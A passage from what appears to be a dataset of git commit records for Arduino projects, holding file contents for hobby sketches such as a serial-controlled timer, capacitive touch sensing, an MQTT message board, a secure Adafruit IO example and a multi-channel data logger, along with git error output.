'0';\n\t\/\/Sanity check to see if the pin numbers are within limits\n\tif (pinNumber< 0 || pinNumber >7) return -1;\n\n\tString value = command.substring(3);\n\n\tif(command.startsWith(\"D\"))\n\t{\n\t\tpinMode(pinNumber, OUTPUT);\n\t\tanalogWrite(pinNumber, value.toInt());\n\t\treturn 1;\n\t}\n\telse if(command.startsWith(\"A\"))\n\t{\n\t\tpinMode(pinNumber+10, OUTPUT);\n\t\tanalogWrite(pinNumber+10, value.toInt());\n\t\treturn 1;\n\t}\n\telse return -2;\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'solarXbike\/tinker-x045-solarxbike.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d5107fa46d3d9164f8dd8f60786c94a92c8ece6a","subject":"Initial Arduino code","message":"Initial Arduino code\n","repos":"watsug\/KHTimer","old_file":"TimerArdu.ino\/TimerArdu.ino.ino","new_file":"TimerArdu.ino\/TimerArdu.ino.ino","new_contents":"#include <MsTimer2.h>\n\n#define BUF_LEN 50\nString VERSION = String(\"KHTimer v1.00\");\nconst char TERMINATOR = ';';\n\n\/\/ DP, F, G, A, B, C, D, E\nint DIGITS[11] = {\n B01011111, \/\/ 0 - \n B00001100, \/\/ 1 -\n B00111011, \/\/ 2 -\n B00111110, \/\/ 3 -\n B01101100, \/\/ 4 -\n B01110110, \/\/ 5 -\n B01100111, \/\/ 6 -\n B00011100, \/\/ 7 -\n B01111111, \/\/ 8 -\n B01111100, \/\/ 9 -\n B00000000 \/\/ off\n};\nint POSITIONS[4] = {A0, A1, A2, A3};\n\nconst int ZERO = 10;\n\nString buff;\nvolatile bool timerGo = true;\nvolatile int timerDigits[4] = {0,0,0,0};\n\nvoid setup() {\n pinMode(A0,OUTPUT);\n pinMode(A1,OUTPUT);\n pinMode(A2,OUTPUT);\n pinMode(A3,OUTPUT);\n pinMode(A5,OUTPUT);\n pinMode(13,OUTPUT);\n\n pinMode(2,OUTPUT);\n pinMode(3,OUTPUT);\n pinMode(4,OUTPUT);\n pinMode(5,OUTPUT);\n pinMode(6,OUTPUT);\n pinMode(7,OUTPUT);\n pinMode(8,OUTPUT);\n pinMode(9,OUTPUT);\n\n digitalWrite(A0,LOW);\n digitalWrite(A1,LOW);\n digitalWrite(A2,LOW);\n digitalWrite(A3,LOW);\n\n WriteDigit(ZERO);\n \n digitalWrite(A5,LOW);\n \n \/\/ start serial port at 9600 bps and wait for port to open:\n Serial.begin(9600, SERIAL_8N1);\n while (!Serial) {\n ; \/\/ wait for serial port to connect. Needed for native USB port only\n }\n SendResponse(\"\");\n SendResponse(\"\");\n SendResponse(VERSION);\n\n MsTimer2::set(1, OnTimer); \/\/ 1ms period\n MsTimer2::start();\n}\n\nvoid loop() {\n if (Serial.available() > 0)\n {\n buff = ReadCommand();\n buff.trim();\n int idx = buff.indexOf(':');\n if (idx < 0) \n {\n \/\/ if there is no ':' this is not the right command\n return;\n } \n else if (idx == 0)\n {\n \/\/ addressed to all devices\n }\n else if (idx > 0)\n {\n String num = buff.substring(0, idx + 1);\n if (0 != num.toInt())\n {\n \/\/ not address of this device\n return;\n }\n }\n buff = buff.substring(idx + 1);\n idx = buff.indexOf(':');\n if (idx < 0) \n {\n OnUnknownCommand(buff);\n return;\n }\n buff = buff.substring(idx + 1);\n if (buff.length() > 0)\n {\n if (buff.startsWith(\"ver\"))\n {\n SendResponse(VERSION);\n }\n else if (buff.startsWith(\"time\"))\n {\n String tmp = String(timerGo ? \"run\" : \"stop\") + \":\" + String(timerDigits[0],DEC) + String(timerDigits[1],DEC) + '.' + String(timerDigits[2],DEC) + String(timerDigits[3],DEC);\n SendResponse(tmp);\n }\n else if (buff.startsWith(\"stop\"))\n {\n timerGo = false;\n SendResponse(\"OK\");\n }\n else if (buff.startsWith(\"start\"))\n {\n timerGo = true;\n SendResponse(\"OK\");\n }\n else if (buff.startsWith(\"reset\"))\n {\n timerGo = false;\n timerDigits[0] = 0;\n timerDigits[1] = 0;\n timerDigits[2] = 0;\n timerDigits[3] = 0;\n timerGo = true;\n SendResponse(\"OK\");\n }\n else if (buff.startsWith(\"set\"))\n {\n idx = buff.indexOf(':');\n buff = buff.substring(idx + 1);\n if (buff.length() >= 4)\n {\n timerGo = false;\n SetTime(0, buff[0] - 0x30);\n SetTime(1, buff[1] - 0x30);\n SetTime(2, buff[2] - 0x30);\n SetTime(3, buff[3] - 0x30);\n timerGo = true;\n }\n SendResponse(\"OK\");\n }\n else if (buff.startsWith(\"stat\"))\n {\n SendResponse(timerGo ? \"run\" : \"stop\");\n }\n else if (buff.startsWith(\"help\"))\n {\n SendResponse(\"ver,time,stop,start,reset,stat\");\n }\n else\n {\n OnUnknownCommand(buff);\n }\n }\n }\n}\n\nvoid SetTime(int pos, int val)\n{\n if (pos >= 4) return;\n val = val > 9 ? 0 : val;\n timerDigits[pos] = val;\n}\n\nvoid OnUnknownCommand(String buff)\n{\n SendResponse(\"Unknown command: '\" + buff + \"'!\", 1);\n}\n\nint counter = 0;\nvoid OnTimer() {\n \n {\n \/\/ show current LED\n int digit = counter & 0x3;\n DisplayOff();\n WriteDigit(timerDigits[digit]);\n ShowDigit(digit);\n }\n if (counter < 500)\n {\n counter++;\n return;\n }\n\n counter = 0;\n static boolean output = HIGH;\n digitalWrite(13, output);\n digitalWrite(9, output && timerGo);\n output = !output;\n if (output)\n {\n if (timerGo)\n {\n SecondUp();\n }\n }\n}\n\nString ReadCommand()\n{\n digitalWrite(A5,LOW);\n delay(2);\n String tmp = Serial.readStringUntil(TERMINATOR);\n return tmp;\n}\n\nvoid SendResponse(const String& data)\n{\n SendResponse(data, 0);\n}\n\nvoid SendResponse(const String& data, int rv)\n{\n int tmp = 0;\n for (int i=0; i < data.length(); i++)\n {\n tmp += data[i];\n }\n tmp = tmp & 0xff;\n SendResponseInt(String(\"0:\") + String(rv) + ':' + String(tmp,HEX) + ':' + data);\n}\n\nvoid SendResponseInt(const String& data)\n{\n digitalWrite(A5,HIGH);\n delay(2);\n if (data.length() == 0)\n {\n Serial.println(data);\n }\n else\n {\n Serial.println(data + \";\");\n }\n Serial.flush();\n delay(2);\n digitalWrite(A5,LOW);\n}\n\nvoid SecondUp()\n{\n \/\/ seconds\n int tmp = timerDigits[3];\n tmp++;\n if (tmp < 10)\n {\n timerDigits[3] = tmp;\n return;\n }\n timerDigits[3] = 0;\n \n \/\/ 10th seconds\n tmp = timerDigits[2];\n tmp++;\n if (tmp < 6)\n {\n timerDigits[2] = tmp;\n return;\n } \n timerDigits[2] = 0;\n\n \/\/ minutes\n tmp = timerDigits[1];\n tmp++;\n if (tmp < 10)\n {\n timerDigits[1] = tmp;\n return;\n } \n timerDigits[1] = 0;\n\n \/\/ 10th minutes\n tmp = timerDigits[0];\n tmp++;\n if (tmp < 10)\n {\n timerDigits[0] = tmp;\n return;\n } \n timerDigits[0] = 0; \n}\n\nvoid DisplayOff()\n{\n for (int i=0; i < 4; i++)\n {\n digitalWrite(POSITIONS[i],LOW);\n }\n}\n\nvoid ShowDigit(int digit)\n{\n digitalWrite(POSITIONS[digit],HIGH);\n}\n\nvoid WriteDigit(int digit)\n{\n int d = DIGITS[digit];\n \/\/int d = B00000010;\n digitalWrite(8,d & 1); \/\/e\n d = d >> 1;\n digitalWrite(7,d & 1); \/\/d\n d = d >> 1;\n digitalWrite(6,d & 1); \/\/c\n d = d >> 1;\n digitalWrite(5,d & 1); \/\/b\n d = d >> 1;\n digitalWrite(4,d & 1); \/\/a\n d = d >> 1;\n digitalWrite(3,d & 1); \/\/g\n d = d >> 1;\n digitalWrite(2,d & 1); \/\/f\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'TimerArdu.ino\/TimerArdu.ino.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3731b8e577ffcda61af4f722d1b85036e8afad2d","subject":"Add capacitive touch code","message":"Add capacitive touch code\n","repos":"mayhem\/led-chandelier,mayhem\/led-chandelier,mayhem\/led-chandelier","old_file":"interface\/iface\/iface.ino","new_file":"interface\/iface\/iface.ino","new_contents":"#include <CapacitiveSensor.h>\n\n#define MAX_SENSORS 9\n\nCapacitiveSensor cs0 = CapacitiveSensor(2,3);\nCapacitiveSensor cs1 = CapacitiveSensor(4,5);\nCapacitiveSensor cs2 = CapacitiveSensor(6,7);\nCapacitiveSensor cs3 = CapacitiveSensor(8,9);\nCapacitiveSensor cs4 = CapacitiveSensor(10,11);\nCapacitiveSensor cs5 = CapacitiveSensor(12,13);\nCapacitiveSensor cs6 = CapacitiveSensor(14,15);\nCapacitiveSensor cs7 = CapacitiveSensor(16,17);\nCapacitiveSensor cs8 = CapacitiveSensor(18,19);\n\nconst long threshold = 300;\nconst long num = 9;\nlong states[MAX_SENSORS];\n\nvoid setup() \n{\n uint8_t i;\n \n Serial.begin(9600);\n \n for(i = 0; i < MAX_SENSORS; i++)\n states[i] = 0;\n \n cs0.set_CS_AutocaL_Millis(0xFFFFFFFF);\n cs1.set_CS_AutocaL_Millis(0xFFFFFFFF);\n cs2.set_CS_AutocaL_Millis(0xFFFFFFFF);\n cs3.set_CS_AutocaL_Millis(0xFFFFFFFF);\n cs4.set_CS_AutocaL_Millis(0xFFFFFFFF);\n cs5.set_CS_AutocaL_Millis(0xFFFFFFFF);\n cs6.set_CS_AutocaL_Millis(0xFFFFFFFF);\n cs7.set_CS_AutocaL_Millis(0xFFFFFFFF);\n cs8.set_CS_AutocaL_Millis(0xFFFFFFFF);\n}\n\nvoid check_sensor(uint8_t id, CapacitiveSensor *s)\n{\n long total;\n \n total = s->capacitiveSensor(30);\n Serial.println(total);\n \n if (total > threshold && states[id] == 0)\n {\n\/\/ Serial.println(id);\n states[id] = 1;\n }\n if (total <= threshold && states[id] == 1)\n states[id] = 0;\n \n}\n\nvoid loop() \n{\n long total;\n \n delay(100);\n\n#if 0 \n check_sensor(0, &cs0);\n if (num == 1)\n return;\n\n check_sensor(1, &cs1);\n if (num == 2)\n return; \n\n check_sensor(2, &cs2);\n if (num == 3)\n return;\n\n check_sensor(3, &cs3);\n if (num == 4)\n return;\n\n check_sensor(4, &cs4);\n if (num == 5)\n return;\n\n check_sensor(5, &cs5);\n if (num == 6)\n return; \n\n check_sensor(6, &cs6);\n if (num == 7)\n return;\n\n check_sensor(7, &cs7);\n if (num == 8)\n return; \n#endif\n \n check_sensor(8, &cs8);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'interface\/iface\/iface.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1a0eb1a3fbc941323ce59f2715042fea44cb6635","subject":"added Servo Motor ATmega code","message":"added Servo Motor ATmega code\n","repos":"MakerWear\/MakerWear,MakerWear\/MakerWear,MakerWear\/MakerWear","old_file":"Modules\/Action\/Servo Motor\/ServoMotorATmega\/ServoMotorATmega.ino","new_file":"Modules\/Action\/Servo Motor\/ServoMotorATmega\/ServoMotorATmega.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Modules\/Action\/Servo' did not match any file(s) known to git\nerror: pathspec 'Motor\/ServoMotorATmega\/ServoMotorATmega.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"acdcd9185bdb7d1839d6f8caa2493d99821efbd1","subject":"Ultrasonic sensor testing","message":"Ultrasonic sensor testing\n","repos":"jorisroovers\/arduino-playground,jorisroovers\/arduino-playground","old_file":"personal\/distance-ultrasonic\/arduino\/arduino.ino","new_file":"personal\/distance-ultrasonic\/arduino\/arduino.ino","new_contents":"#include <Ultrasonic.h>\n\nUltrasonic ultrasonic(12, 13);\n\nvoid setup() {\n Serial.begin(9600);\n Serial.println(\"BEGIN\");\n}\n\nvoid loop() {\n Serial.print(\"Distance: \");\n Serial.print(ultrasonic.Ranging(CM));\n Serial.println(\" CM\");\n \n delay(500);\n \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'personal\/distance-ultrasonic\/arduino\/arduino.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"6943dd44ee0f48c57a6c2ae68f1585770b97dad7","subject":"Asservissement: maj code de correction de l'asservissement","message":"Asservissement: maj code de correction de l'asservissement\n","repos":"nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance","old_file":"Module Moteur\/Software\/Asservissement\/Asservissement vitesse\/Asservissement vitesse\/asservissementVitesse.ino","new_file":"Module Moteur\/Software\/Asservissement\/Asservissement vitesse\/Asservissement vitesse\/asservissementVitesse.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Module' did not match any file(s) known to git\nerror: pathspec 'Moteur\/Software\/Asservissement\/Asservissement' did not match any file(s) known to git\nerror: pathspec 'vitesse\/Asservissement' did not match any file(s) known to git\nerror: pathspec 'vitesse\/asservissementVitesse.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"efa742ca8b4b1e3889ccaf54db3e435c2d1a167f","subject":"baud fix","message":"baud fix\n","repos":"ArduProg\/arduino,wiiproSK\/arduino,ArduProg\/arduino,ArduProg\/arduino,wiiproSK\/arduino","old_file":"WEBLEDaquaduino\/WEBLEDaquaduino\/WEBLEDaquaduino.ino","new_file":"WEBLEDaquaduino\/WEBLEDaquaduino\/WEBLEDaquaduino.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/wiiproSK\/arduino.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"b675a39116ca7a3409d090d9fcb69d99ac5c1980","subject":"Added modified encoder demo to support index","message":"Added modified encoder demo to support index\n","repos":"MarsRobotics\/Experiments,MarsRobotics\/Experiments,MarsRobotics\/Experiments,MarsRobotics\/Experiments","old_file":"Encoder Demo\/EncoderDemo\/EncoderDemo.ino","new_file":"Encoder Demo\/EncoderDemo\/EncoderDemo.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Encoder' did not match any file(s) known to git\nerror: pathspec 'Demo\/EncoderDemo\/EncoderDemo.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"3189d369bb7fd454762926782a50b4e7c70b6fd7","subject":"Added TinyMessageBoard","message":"Added TinyMessageBoard\n","repos":"meeo\/meeo-arduino","old_file":"examples\/MeeoCrowtailBasic\/TinyMessageBoard\/TinyMessageBoard.ino","new_file":"examples\/MeeoCrowtailBasic\/TinyMessageBoard\/TinyMessageBoard.ino","new_contents":"\/*\n MessageDisplay by Meeo\n\n This example will make use of Meeo. If you haven't already,\n visit Meeo at https:\/\/meeo.io and create an account. Then\n check how to get started with the Meeo library through\n https:\/\/github.com\/meeo\/meeo-arduino\n\n OTHER REQUIREMENTS\n Download the OLED Driver for ESP8266 here:\n https:\/\/github.com\/squix78\/esp8266-oled-ssd1306.\n Follow the instructions on their README.md\n\n Send remote message and display it on a small OLED.\n More details of the project here:\n https:\/\/medium.com\/meeo\/meeo-project-tiny-message-board-c7e2f2e48a3e\n\n Copyright: Meeo\n Author: Terence Anton Dela Fuente\n License: MIT\n*\/\n\n#include <Meeo.h>\n#include <SH1106.h>\n\nString nameSpace = \"my_namespace\";\nString accessKey = \"my_access_key\";\nString ssid = \"MyWiFi\";\nString pass = \"qwerty123\";\nString channel = \"message-display\";\n\nSH1106 display(0x3c, 14, 12);\n\nvoid setup() {\n Serial.begin(115200);\n\n Meeo.setEventHandler(meeoEventHandler);\n Meeo.setDataReceivedHandler(meeoDataHandler);\n Meeo.begin(nameSpace, accessKey, ssid, pass);\n\n display.init();\n display.flipScreenVertically();\n display.setFont(ArialMT_Plain_16);\n display.setTextAlignment(TEXT_ALIGN_CENTER);\n}\n\nvoid loop() {\n Meeo.run();\n}\n\nvoid meeoDataHandler(String topic, String payload) {\n Serial.print(topic);\n Serial.print(\": \");\n Serial.println(payload);\n\n if (Meeo.isChannelMatched(topic, channel)) {\n \/\/ Show the message on a small OLED\n display.clear();\n display.drawString(64, 24, payload.c_str());\n display.display();\n }\n}\n\nvoid meeoEventHandler(MeeoEventType event) {\n switch (event) {\n case WIFI_DISCONNECTED:\n Serial.println(\"Not Connected to WiFi\");\n break;\n case WIFI_CONNECTING:\n Serial.println(\"Connecting to WiFi\");\n break;\n case WIFI_CONNECTED:\n Serial.println(\"Connected to WiFi\");\n break;\n case MQ_DISCONNECTED:\n Serial.println(\"Not Connected to MQTT Server\");\n break;\n case MQ_CONNECTED:\n Serial.println(\"Connected to MQTT Server\");\n\n \/\/Once connected, subscribe to the channel\n Meeo.subscribe(channel);\n break;\n case MQ_BAD_CREDENTIALS:\n Serial.println(\"Bad Credentials\");\n break;\n case AP_MODE:\n Serial.println(\"AP Mode\");\n break;\n default:\n break;\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/MeeoCrowtailBasic\/TinyMessageBoard\/TinyMessageBoard.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c19e155bac61a7c921e2a9f3befd33b1f88a1073","subject":"add adafruit io ssl\/tls example for esp8266","message":"add adafruit io ssl\/tls example for esp8266\n","repos":"adafruit\/Adafruit_MQTT_Library","old_file":"examples\/adafruitio_secure_esp8266\/adafruitio_secure_esp8266.ino","new_file":"examples\/adafruitio_secure_esp8266\/adafruitio_secure_esp8266.ino","new_contents":"\/***************************************************\n Adafruit MQTT Library ESP8266 Adafruit IO SSL\/TLS example\n\n Must use the latest version of ESP8266 Arduino from:\n https:\/\/github.com\/esp8266\/Arduino\n\n Works great with Adafruit's Huzzah ESP board & Feather\n ----> https:\/\/www.adafruit.com\/product\/2471\n ----> https:\/\/www.adafruit.com\/products\/2821\n\n Adafruit invests time and resources providing this open source code,\n please support Adafruit and open-source hardware by purchasing\n products from Adafruit!\n\n Written by Tony DiCola for Adafruit Industries.\n SSL\/TLS additions by Todd Treece for Adafruit Industries.\n MIT license, all text above must be included in any redistribution\n ****************************************************\/\n#include <ESP8266WiFi.h>\n#include \"Adafruit_MQTT.h\"\n#include \"Adafruit_MQTT_Client.h\"\n\n\/************************* WiFi Access Point *********************************\/\n\n#define WLAN_SSID \"...your SSID...\"\n#define WLAN_PASS \"...your password...\"\n\n\/************************* Adafruit.io Setup *********************************\/\n\n#define AIO_SERVER \"io.adafruit.com\"\n#define AIO_SERVERPORT 8883 \/\/ 8883 for MQTTS\n#define AIO_USERNAME \"...your AIO username (see https:\/\/accounts.adafruit.com)...\"\n#define AIO_KEY \"...your AIO key...\"\n\n\/************ Global State (you don't need to change this!) ******************\/\n\n\/\/ WiFiFlientSecure for SSL\/TLS support\nWiFiClientSecure client;\n\n\/\/ Store the MQTT server, username, and password in flash memory.\n\/\/ This is required for using the Adafruit MQTT library.\nconst char MQTT_SERVER[] PROGMEM = AIO_SERVER;\nconst char MQTT_USERNAME[] PROGMEM = AIO_USERNAME;\nconst char MQTT_PASSWORD[] PROGMEM = AIO_KEY;\n\n\/\/ Setup the MQTT client class by passing in the WiFi client and MQTT server and login details.\nAdafruit_MQTT_Client mqtt(&client, MQTT_SERVER, AIO_SERVERPORT, MQTT_USERNAME, MQTT_PASSWORD);\n\n\/\/ io.adafruit.com SHA1 fingerprint\nconst char* fingerprint = \"26 96 1C 2A 51 07 FD 15 80 96 93 AE F7 32 CE B9 0D 01 55 C4\";\n\n\/****************************** Feeds ***************************************\/\n\n\/\/ Setup a feed called 'photocell' for publishing.\n\/\/ Notice MQTT paths for AIO follow the form: <username>\/feeds\/<feedname>\nconst char TEST_FEED[] PROGMEM = AIO_USERNAME \"\/feeds\/test\";\nAdafruit_MQTT_Publish test = Adafruit_MQTT_Publish(&mqtt, TEST_FEED);\n\n\/*************************** Sketch Code ************************************\/\n\n\/\/ Bug workaround for Arduino 1.6.6, it seems to need a function declaration\n\/\/ for some reason (only affects ESP8266, likely an arduino-builder bug).\nvoid MQTT_connect();\nvoid verifyFingerprint();\n\nvoid setup() {\n Serial.begin(115200);\n delay(10);\n\n Serial.println(F(\"Adafruit IO MQTTS (SSL\/TLS) Example\"));\n\n \/\/ Connect to WiFi access point.\n Serial.println(); Serial.println();\n Serial.print(\"Connecting to \");\n Serial.println(WLAN_SSID);\n\n delay(1000);\n\n WiFi.begin(WLAN_SSID, WLAN_PASS);\n delay(2000);\n\n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n }\n Serial.println();\n\n Serial.println(\"WiFi connected\");\n Serial.println(\"IP address: \"); Serial.println(WiFi.localIP());\n\n \/\/ check the fingerprint of io.adafruit.com's SSL cert\n verifyFingerprint();\n\n}\n\nuint32_t x=0;\n\nvoid loop() {\n \/\/ Ensure the connection to the MQTT server is alive (this will make the first\n \/\/ connection and automatically reconnect when disconnected). See the MQTT_connect\n \/\/ function definition further below.\n MQTT_connect();\n\n \/\/ Now we can publish stuff!\n Serial.print(F(\"\\nSending val \"));\n Serial.print(x);\n Serial.print(F(\" to test feed...\"));\n if (! test.publish(x++)) {\n Serial.println(F(\"Failed\"));\n } else {\n Serial.println(F(\"OK!\"));\n }\n\n}\n\n\nvoid verifyFingerprint() {\n\n const char* host = AIO_SERVER;\n\n Serial.print(\"Connecting to \");\n Serial.println(host);\n\n if (! client.connect(host, AIO_SERVERPORT)) {\n Serial.println(\"Connection failed. Halting execution.\");\n while(1);\n }\n\n if (client.verify(fingerprint, host)) {\n Serial.println(\"Connection secure.\");\n } else {\n Serial.println(\"Connection insecure! Halting execution.\");\n while(1);\n }\n\n}\n\n\/\/ Function to connect and reconnect as necessary to the MQTT server.\n\/\/ Should be called in the loop function and it will take care if connecting.\nvoid MQTT_connect() {\n int8_t ret;\n\n \/\/ Stop if already connected.\n if (mqtt.connected()) {\n return;\n }\n\n Serial.print(\"Connecting to MQTT... \");\n\n uint8_t retries = 3;\n while ((ret = mqtt.connect()) != 0) { \/\/ connect will return 0 for connected\n Serial.println(mqtt.connectErrorString(ret));\n Serial.println(\"Retrying MQTT connection in 5 seconds...\");\n mqtt.disconnect();\n delay(5000); \/\/ wait 5 seconds\n retries--;\n if (retries == 0) {\n \/\/ basically die and wait for WDT to reset me\n while (1);\n }\n }\n\n Serial.println(\"MQTT Connected!\");\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/adafruitio_secure_esp8266\/adafruitio_secure_esp8266.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"305c84350f0877d8149c56674ca21af6abb19f41","subject":"Sample code","message":"Sample code\n","repos":"alan412\/Geek-FLL-Project","old_file":"Geek-FLL-Project.ino","new_file":"Geek-FLL-Project.ino","new_contents":"#include <ESP8266WiFi.h>\n#include <ESP8266WebServer.h>\n\n#include \"HX711.h\"\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Pin Definitions \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nconst int LED_PIN = 5; \/\/ Thing's onboard, green LED\nconst int LOADCELL_DATA = 12;\nconst int LOADCELL_CLK = 13;\n\nESP8266WebServer server(80);\nHX711 scale(LOADCELL_DATA, LOADCELL_CLK);\nfloat calibration_factor = 2000; \/\/ needs to come from calibration sketch\n\nvoid setupScale() {\n scale.set_scale();\n scale.tare(); \/\/Reset the scale to 0\n scale.set_scale(calibration_factor); \/\/Adjust to this calibration factor\n}\n\nfloat getScaleWeight(){\n return scale.get_units(5); \/\/ average of 5 readings\n}\n\nconst char pageFirstPart[]=\"<html>\\\n <head>\\\n <title>447 Project<\/title>\\\n <\/head>\\\n <body>\\\n\";\n\nconst char pageEnding[]=\"<\/body>\\\n<\/html>\";\n\n\nvoid handleRoot()\n{\n float weight = getScaleWeight();\n \n String response = pageFirstPart;\n response += \"Weight: \" + String(weight, 3); \/\/ 3 is for number of decimal places\n response += pageEnding;\n \n server.send(200, \"text\/html\", response);\n}\n\nvoid loop()\n{\n server.handleClient();\n}\n\nvoid setup()\n{\n pinMode(LED_PIN, OUTPUT);\n digitalWrite(LED_PIN, HIGH);\n setupScale();\n\n WiFi.mode(WIFI_AP);\n WiFi.softAP(\"FLL447\"); \/\/ no password\n\n server.on ( \"\/\", handleRoot );\n \n server.begin();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Geek-FLL-Project.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"39312d2a4a5840e41d3b92a2f956c7a7d69ddcea","subject":"Create SixChannelLogger.ino","message":"Create SixChannelLogger.ino","repos":"jameskeaveney\/ArduinoDUE-Data-Logger,jameskeaveney\/ArduinoDUE-Data-Logger","old_file":"SixChannelLogger.ino","new_file":"SixChannelLogger.ino","new_contents":"\/*\n\nSix channel data logger using Arduino DUE.\n\n**\nOriginal purpose is as a slow multi-channel data logger for use with a DFB laser, where \na frequency sweep is controlled via temperature tuning. A digital pin is used, with an external\npotentiometer, to set the magnitude of the temperature sweep (the onboard DAC could have been used,\nbut the adjustment range is only 1\/6 to 5\/6 of the full 0 - 3V3 range). The temperature is swept\nby switching the state of the digital pin, which in turn changes the setpoint on the external\ntemperature controller (Thorlabs TED200C). Since the temperature scan is slow (~90 seconds), and \nwe need lots of channels, a normal oscilloscope isn't the best for this job.\n\nPhotodiode signals from the main experiment vapour cell, two reference cells (one at zero field,\none at 0.6 Tesla), Fabry-Perot etalon, a laser power monitor photodiode, and the temperature\nmonitor (actual temperature, rather than setpoint) are required.\n**\n\nAnalog inputs on pins A0-A5 are read-in at a sampling rate of ~2 kS\/s\nThe sampling rate can be increased up to around ~16 kS\/s for 6 channels, probably faster for\nfewer channels [channels must be enabled\/disabled by setting the registers in the setup() method below],\nby adjusting the sampling_time variable\n\nThe ADC data is buffered then sent quickly via SerialUSB. Since there is some overhead \ninvolved with Serial transfer, the data should be transferred in large quantities ( > 1 kB) so\nas to minimise total transmission time. Buffering will be memory-limited at some point. The\nlargest buffer possible is currently untested!\n\nPySerial is used to grab the data from the serial port and read it into python. For this,\nthe python module SixChannelReader.py has been written (in the same directory as this file), \nwhich provides class-based methods of reading in the data, as well as a method of \nsynchronisation for triggering purposes.\n\n************\n** NOTE: the USB connection to the Arduino must be to the NATIVE port, not the programming port!\n************\n\n\n\nAuthor: James Keaveney\n18\/05\/2015\n\n*\/\n\n\/\/ set up variables\nconst int buffer_length = 200; \/\/ length of data chunks sent at a time via SerialUSB\n\nconst long acquisition_time = 90000; \/\/ in ms (~2 minutes in real experiment)\nconst long settling_time_ms = 15000; \/\/ in ms\nconst int sampling_time = 440; \/\/ in micros\n\nconst int TempAdjustPin = 2;\n\nString strTime = \"\";\nString strOut = \"\";\nString strC1 = \"\";\nString strC2 = \"\";\nString strC3 = \"\";\nString strC4 = \"\";\nString strC5 = \"\";\nString strC6 = \"\";\n\n\nunsigned long current_time;\n\nvoid setup() {\n \/\/ set up digital pin\n pinMode(TempAdjustPin, OUTPUT);\n \n \/\/ set ADC resolution\n analogReadResolution(12);\n \n \/\/ manually set registers for faster analog reading than the normal arduino methods\n ADC->ADC_MR |= 0xC0; \/\/ set free running mode (page 1333 of the Sam3X datasheet)\n ADC->ADC_CHER = 0xFC; \/\/ enable channels (see page 1338 of datasheet) on adc 7,6,5,4,3,2 (pin A0-A5)\n \/\/ see also http:\/\/www.arduino.cc\/en\/Hacking\/PinMappingSAM3X for the pin mapping between Arduino names and SAM3X pin names\n ADC->ADC_CHDR = 0xFF03; \/\/ disable all other channels\n ADC->ADC_CR=2; \/\/ begin ADC conversion\n \n \n \/\/ initialise serial port\n SerialUSB.begin(115200); \/\/ baud rate is ignored for USB - always at 12 Mb\/s\n while (!SerialUSB); \/\/ wait for USB serial port to be connected - wait for pc program to open the serial port\n \n}\n\n\n\nvoid loop() {\n\n \/\/ data acquisition will start with a synchronisation step:\n \/\/ python should send a single byte of data, the arduino will send one back to sync timeouts\n int incoming = 0;\n if (SerialUSB.available() > 0) \/\/ polls whether anything is ready on the read buffer - nothing happens until there's something there\n {\n incoming = SerialUSB.read();\n \/\/ after data received, send the same back\n SerialUSB.println(incoming);\n \n \n \/\/wait a little time for python to be ready to receive data - (not sure if this is really necessary)\n delay(50); \/\/ ms\n \n \/\/ do something to alter the temperature - swap digital pin state\n digitalWrite(TempAdjustPin,!(digitalRead(TempAdjustPin)));\n \n \/\/ measure start time - then acquire data for an amount of time set by the acquisition_time variable\n unsigned long start_micros = micros();\n unsigned long start_time = millis();\n while (millis() < (start_time+acquisition_time))\n {\n \n \/\/ generate and concatenate strings\n for (int jj = 0; jj < buffer_length; jj++)\n {\n \n \/\/ ADC acquisition\n \n \/\/ can put this in a small loop for some averaging if required - takes ~ 60 microsec per read\/concatenate cycle\n while((ADC->ADC_ISR & 0xFC)!=0xFC); \/\/ wait for conversion to complete - see page 1345 of datasheet \n \n \/\/ concatenate strings\n current_time = micros()-start_micros;\n strTime.concat(current_time); \/\/ time axis\n strTime.concat(','); \n strC1.concat(ADC->ADC_CDR[7]); \/\/ read data from the channel data register\n strC1.concat(',');\n strC2.concat(ADC->ADC_CDR[6]);\n strC2.concat(',');\n strC3.concat(ADC->ADC_CDR[5]);\n strC3.concat(',');\n strC4.concat(ADC->ADC_CDR[4]);\n strC4.concat(',');\n strC5.concat(ADC->ADC_CDR[3]);\n strC5.concat(',');\n strC6.concat(ADC->ADC_CDR[2]);\n strC6.concat(',');\n \n \n \/\/Serial.print(current_time);\n \/\/Serial.print(\",\");\n \n delayMicroseconds(sampling_time); \/\/ limit sampling rate to something 